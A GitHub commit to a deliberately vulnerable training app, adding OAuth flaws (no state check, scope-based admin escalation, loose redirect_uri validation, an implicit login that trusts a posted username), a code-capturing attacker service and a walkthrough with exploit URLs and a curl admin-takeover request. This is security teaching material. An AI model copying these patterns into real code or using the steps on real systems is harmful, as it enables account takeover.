Skip to content

Commit b4f75a4

Browse files
author
snoopysecurity
committed
feat: add oauth issues to dvws
1 parent 206dc54 commit b4f75a4

14 files changed

Lines changed: 716 additions & 26 deletions

File tree

README.md

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -118,13 +118,19 @@ Change directory to dvws-node
118118
cd dvws-node
119119
```
120120
Start Docker
121+
```bash
122+
docker-compose up --build
121123
```
122-
`docker-compose up`
123-
```
124-
This will start the dvws service with the backend MySQL database and the NoSQL database.
124+
This will start the dvws service with the backend MySQL database and the NoSQL database. It will also start:
125+
* **OAuth Provider (Port 5000):** A mock Identity Provider for testing OAuth flows.
126+
* **Attacker Service (Port 6666):** A service to capture callbacks and tokens.
125127

126128
If the DVWS web service doesn't start because of delayed MongoDB or MySQL setup, then increase the value of environment variable : `WAIT_HOSTS_TIMEOUT`
127129

130+
## OAuth Vulnerabilities
131+
We have added support for testing OAuth vulnerabilities (Account Takeover, CSRF, Token Leakage).
132+
See [answers.md](answers.md) for a detailed guide on how to exploit these flaws using the provided services.
133+
128134

129135

130136
## Solutions
@@ -141,7 +147,7 @@ If the DVWS web service doesn't start because of delayed MongoDB or MySQL setup,
141147
* GraphQL Injection
142148
* Webhook security
143149
* Parameter Pollution
144-
* OAuth2/OIDC Flow Flaws
150+
* OpenID Connect (OIDC) issues
145151

146152

147153
## Any Questions

answers.md

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
# OAuth Vulnerability Walkthrough
2+
3+
This document describes the OAuth vulnerabilities introduced into the `dvws-node` application and how to exploit them using the provided `oauth-provider` and `attacker-service`.
4+
5+
## 1. Privilege Escalation (Scope Upgrade)
6+
7+
**Vulnerability:**
8+
The `dvws-node` application determines user privileges based on the OAuth **scopes** granted by the provider. Specifically, if the Access Token contains the `dvws:admin` scope, the user is granted local Administrator rights. The Vulnerability is that the Mock Provider grants *any* scope requested by the client without restriction, and the Client Application trusts the presence of this scope blindly.
9+
10+
**Exploitation:**
11+
1. Click **"Login with MockOAuth"**.
12+
2. Observe the URL in the address bar when you reach the Login Page. It looks like:
13+
`http://localhost:5000/login?return_to=/authorize?client_id=dvws-client&redirect_uri=...&scope=openid`
14+
3. **The Attack:** Modify the URL to append the admin scope. Change `scope=openid` to `scope=openid dvws:admin`.
15+
* You might need to URL encode the space (`%20`), so: `scope=openid%20dvws:admin`.
16+
* Or modify the `return_to` parameter if you are already at the login page, but it's easier to modify the `/authorize` link before you get redirected (intercept the request or copy-paste).
17+
* Easier method:
18+
1. Go to `http://localhost:5000/authorize?client_id=dvws-client&redirect_uri=http://localhost:80/api/v2/auth/callback&response_type=code&scope=openid%20dvws:admin` directly.
19+
4. Log in as **ANY** user (e.g., `attacker`). You do *not* need to be `admin`.
20+
5. The Provider will grant the requested `dvws:admin` scope.
21+
6. You will be redirected back to the app.
22+
7. `dvws-node` sees the scope and logs you in as `attacker` but with **Admin Privileges**.
23+
8. Verify by checking if you can access Admin features.
24+
25+
## 2. Cross-Site Request Forgery (CSRF)
26+
27+
**Vulnerability:**
28+
The OAuth flow initiated by `dvws-node` (`/api/v2/login/oauth`) does not generate or validate a `state` parameter. This means an attacker can start a login flow, obtain an authorization code, and then trick a victim into consuming that code, logging the victim into the attacker's account.
29+
30+
**Exploitation:**
31+
1. **Attacker Steps:**
32+
* The attacker starts the login flow but stops before the callback is consumed (or manually gets a code from the provider).
33+
* Since the provider is auto-approving, the attacker can just construct the callback URL manually if they know a valid code, OR they can send the victim to the Provider's authorize page with a fixed parameters.
34+
* A more common CSRF in OAuth is "Login CSRF": Attacker logs in to *their* account, captures the authorization code, and stops. Then constructs a link: `http://localhost/api/v2/auth/callback?code=ATTACKER_CODE` (or `http://localhost:80/...`).
35+
2. **Victim Steps:**
36+
* Victim clicks the link.
37+
* `dvws-node` consumes `ATTACKER_CODE`.
38+
* `dvws-node` logs the victim in as the user associated with that code (the Attacker).
39+
* The victim is now using the app as the Attacker. If they enter credit card info or private notes, the Attacker can see them.
40+
41+
## 3. Authorization Code Leakage (via Open Redirect on Provider)
42+
43+
**Vulnerability:**
44+
The Mock OAuth Provider (`oauth-provider`) implements a weak validation of the `redirect_uri` parameter. It checks if the URI contains "localhost", but does not strictly check the port or path.
45+
46+
**Exploitation:**
47+
1. Attacker constructs a malicious link:
48+
```
49+
http://localhost:5000/authorize?client_id=dvws-client&response_type=code&redirect_uri=http://localhost:6666/callback
50+
```
51+
(Note: `localhost:6666` contains "localhost" so it passes the weak check).
52+
2. Victim clicks the link (thinking it's a legitimate login to the provider).
53+
3. If the victim is logged in to the provider, they are redirected. If not, they log in, and *then* are redirected.
54+
4. The Provider redirects the victim to:
55+
```
56+
http://localhost:6666/callback?code=SECRET_CODE
57+
```
58+
4. The `attacker-service` logs the `SECRET_CODE`.
59+
5. The attacker can now exchange this code for an access token (if they can communicate with the provider's `/token` endpoint) or impersonate the user if the client accepts the code (via the CSRF vulnerability above).
60+
61+
## 4. Authentication Bypass via Implicit Flow
62+
63+
**Vulnerability:**
64+
The application supports a custom login flow where an access token is submitted via a POST request to `/api/v2/login/implicit`. The server verifies that the access token is valid (by checking with the provider), but fails to ensure that the token belongs to the user claimed in the request body. It trusts the `username` parameter submitted by the client as long as the token is valid.
65+
66+
**Exploitation:**
67+
1. Log in to the `oauth-provider` as `attacker` (or any user).
68+
2. Obtain a valid Access Token by manually initiating an Implicit Flow request:
69+
`http://localhost:5000/authorize?client_id=dvws-client&redirect_uri=http://localhost&response_type=token`
70+
3. Copy the `access_token` from the URL fragment in the address bar.
71+
4. Send a POST request to `http://localhost:80/api/v2/login/implicit`:
72+
```bash
73+
curl -X POST http://localhost:80/api/v2/login/implicit \
74+
-H "Content-Type: application/json" \
75+
-d '{"access_token": "YOUR_ACCESS_TOKEN", "username": "admin"}'
76+
```
77+
5. The server validates the token with the provider (it is valid), but logs you in as `admin` (based on your JSON body).
78+
79+
## Supported OAuth Vulnerabilities
80+
81+
The following vulnerabilities from the PortSwigger/Doyensec list are currently supported in this environment:
82+
83+
* **Flawed CSRF protection:** No `state` parameter is used.
84+
* **Leaking authorization codes:** Via Open Redirect on the Provider.
85+
* **Flawed redirect_uri validation:** Provider allows `localhost` bypass.
86+
* **Flawed scope validation (Scope Upgrade):** Provider allows any scope; Client escalates privileges based on scope.
87+
* **Unverified user registration:** Client trusts identity from Provider; Provider allows spoofing (via Login form or Auto-Registration).
88+
* **Improper implementation of the implicit grant type:** Client trusts POSTed user identity if token is valid.
89+
90+
## Services Overview
91+
92+
* **dvws-node (Port 80):** The vulnerable application.
93+
* **oauth-provider (Port 5000):** The Mock Identity Provider.
94+
* **attacker-service (Port 6666):** Receives leaked codes.

attacker-service/Dockerfile

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
FROM node:20-alpine
2+
WORKDIR /app
3+
COPY package*.json ./
4+
RUN npm install
5+
COPY . .
6+
CMD ["node", "app.js"]
7+
EXPOSE 6666

attacker-service/app.js

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
const express = require('express');
2+
const cors = require('cors');
3+
4+
const app = express();
5+
app.use(cors());
6+
7+
const PORT = 6666;
8+
9+
app.get('/health', (req, res) => {
10+
res.json({ status: 'ok' });
11+
});
12+
13+
app.use((req, res, next) => {
14+
console.log(`[Attacker] Incoming ${req.method} request to ${req.url}`);
15+
console.log('Headers:', req.headers);
16+
console.log('Query:', req.query);
17+
next();
18+
});
19+
20+
app.get('/callback', (req, res) => {
21+
res.send(`
22+
<h1>Attacker Site</h1>
23+
<p>Thanks for the code!</p>
24+
<pre>${JSON.stringify(req.query, null, 2)}</pre>
25+
`);
26+
});
27+
28+
app.get('/exploit', (req, res) => {
29+
// Basic CSRF exploit template
30+
res.send(`
31+
<h1>Attacker Exploit Page</h1>
32+
<p>Click <a href="http://localhost:9090/api/v2/login/oauth">here</a> to win a prize!</p>
33+
<!-- Auto submit script could go here -->
34+
`);
35+
});
36+
37+
app.listen(PORT, '0.0.0.0', () => {
38+
console.log(`Attacker Service running on port ${PORT}`);
39+
});

attacker-service/package.json

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
{
2+
"name": "dvws-attacker-service",
3+
"version": "1.0.0",
4+
"main": "app.js",
5+
"dependencies": {
6+
"express": "^4.19.2",
7+
"cors": "^2.8.5"
8+
}
9+
}

controllers/users.js

Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ const mongoose = require('mongoose');
22
const bcrypt = require('bcrypt');
33
const jwt = require('jsonwebtoken');
44
const xml2js = require('xml2js');
5+
const needle = require('needle');
56

67
const connUri = process.env.MONGO_LOCAL_CONN_URL;
78
const User = require('../models/users');
@@ -375,5 +376,158 @@ module.exports = {
375376
filter: filter, // Reflect filter for educational/debugging
376377
results: results
377378
});
379+
},
380+
381+
// Vulnerability: OAuth Insecure Implementation
382+
oauthLogin: (req, res) => {
383+
// Scenario: User clicks "Login with MockOAuth".
384+
// Vulnerability: Missing 'state' parameter or predictable state allows CSRF.
385+
386+
const clientId = "dvws-client";
387+
// This should be dynamic based on host, but hardcoded for now
388+
// The main app runs on port 80
389+
const redirectUri = "http://localhost:80/api/v2/auth/callback";
390+
391+
// Vulnerability: No state parameter used
392+
// For client-side redirect, we must use localhost since the browser cannot resolve docker service names
393+
const authUrl = `http://localhost:5000/authorize?client_id=${clientId}&redirect_uri=${redirectUri}&response_type=code&scope=openid`;
394+
395+
res.redirect(authUrl);
396+
},
397+
398+
oauthCallback: async (req, res) => {
399+
const code = req.query.code;
400+
if (!code) return res.status(400).send("No code returned");
401+
402+
// Vulnerability: No state validation here either.
403+
404+
// We use internal docker URL for back-channel communication
405+
const providerUrl = process.env.OAUTH_PROVIDER_URL || 'http://oauth-provider:5000';
406+
const clientId = "dvws-client";
407+
const redirectUri = "http://localhost:80/api/v2/auth/callback";
408+
409+
try {
410+
// Exchange code for token
411+
const tokenResp = await needle('post', `${providerUrl}/token`, {
412+
code,
413+
client_id: clientId,
414+
client_secret: "secret", // Mock doesn't care
415+
grant_type: "authorization_code",
416+
redirect_uri: redirectUri
417+
}, { json: true });
418+
419+
if (tokenResp.statusCode !== 200) {
420+
return res.status(500).send("Failed to get token from provider: " + JSON.stringify(tokenResp.body));
421+
}
422+
423+
const accessToken = tokenResp.body.access_token;
424+
const grantedScope = tokenResp.body.scope || "";
425+
426+
// Get User Info
427+
const userResp = await needle('get', `${providerUrl}/userinfo`, null, {
428+
headers: { Authorization: `Bearer ${accessToken}` }
429+
});
430+
431+
if (userResp.statusCode !== 200) {
432+
return res.status(500).send("Failed to get user info");
433+
}
434+
435+
const profile = userResp.body;
436+
// Vulnerability: Trusting the 'preferred_username'
437+
const username = profile.preferred_username;
438+
439+
let user = await User.findOne({ username });
440+
441+
// Auto-register if not found (simulates open registration)
442+
if (!user) {
443+
try {
444+
user = new User({
445+
username: username,
446+
password: "oauth-generated-password",
447+
admin: false
448+
});
449+
await user.save();
450+
} catch (e) {
451+
return res.status(500).send("Error creating user: " + e.message);
452+
}
453+
}
454+
455+
if (user) {
456+
// Vulnerability: Privilege Escalation via Scope
457+
// If the token has 'dvws:admin' scope, we grant admin privileges regardless of the user's DB status.
458+
const isAdmin = grantedScope.includes("dvws:admin") || user.admin;
459+
460+
// Log them in!
461+
const payload = {
462+
user: user.username,
463+
permissions: isAdmin ? ["user:read", "user:write", "user:admin"] : ["user:read", "user:write"]
464+
};
465+
const options = { expiresIn: '2d', issuer: 'https://github.com/snoopysecurity', algorithm: "HS256"};
466+
const secret = process.env.JWT_SECRET;
467+
const token = jwt.sign(payload, secret, options);
468+
469+
res.send(`
470+
<html><body>
471+
<p>Login successful! Redirecting...</p>
472+
<script>
473+
localStorage.setItem('JWTSessionID', '${token}');
474+
window.location.href = '/home.html#${user.username}';
475+
</script>
476+
</body></html>
477+
`);
478+
} else {
479+
res.status(404).send(`User '${username}' not found in local DB. (Mock IdP returned: ${JSON.stringify(profile)})`);
480+
}
481+
482+
} catch (err) {
483+
console.error(err);
484+
res.status(500).send(err.message);
485+
}
486+
},
487+
488+
// Vulnerability: Improper Implicit Flow Implementation
489+
implicitLogin: async (req, res) => {
490+
const { access_token, username } = req.body;
491+
492+
// We use internal docker URL for back-channel communication
493+
const providerUrl = process.env.OAUTH_PROVIDER_URL || 'http://oauth-provider:5000';
494+
495+
try {
496+
// Verify token (Validating the token is "good")
497+
const userResp = await needle('get', `${providerUrl}/userinfo`, null, {
498+
headers: { Authorization: `Bearer ${access_token}` }
499+
});
500+
501+
if (userResp.statusCode !== 200) {
502+
return res.status(401).send("Invalid access token");
503+
}
504+
505+
// FLAW: We ignore the user info from the provider and trust the username passed in the body!
506+
507+
let user = await User.findOne({ username });
508+
509+
if (user) {
510+
// Log them in!
511+
const payload = {
512+
user: user.username,
513+
permissions: user.admin ? ["user:read", "user:write", "user:admin"] : ["user:read", "user:write"]
514+
};
515+
const options = { expiresIn: '2d', issuer: 'https://github.com/snoopysecurity', algorithm: "HS256"};
516+
const secret = process.env.JWT_SECRET;
517+
const token = jwt.sign(payload, secret, options);
518+
519+
res.json({
520+
success: true,
521+
token: token,
522+
username: user.username
523+
});
524+
} else {
525+
res.status(404).send(`User '${username}' not found.`);
526+
}
527+
528+
} catch (err) {
529+
console.error(err);
530+
res.status(500).send(err.message);
531+
}
378532
}
379533
};

docker-compose.yml

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,16 @@ services:
1919
WAIT_HOSTS_TIMEOUT: 160
2020
SQL_LOCAL_CONN_URL: dvws-mysql
2121
MONGO_LOCAL_CONN_URL: mongodb://dvws-mongo:27017/node-dvws
22+
OAUTH_PROVIDER_URL: http://oauth-provider:5000
2223
depends_on:
2324
- dvws-mongo
2425
- dvws-mysql
26+
- oauth-provider
27+
oauth-provider:
28+
build: ./oauth-provider
29+
ports:
30+
- "5000:5000"
31+
attacker-service:
32+
build: ./attacker-service
33+
ports:
34+
- "6666:6666"

oauth-provider/Dockerfile

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
FROM node:20-alpine
2+
WORKDIR /app
3+
COPY package*.json ./
4+
RUN npm install
5+
COPY . .
6+
CMD ["node", "app.js"]
7+
EXPOSE 5000

0 commit comments

Comments
 (0)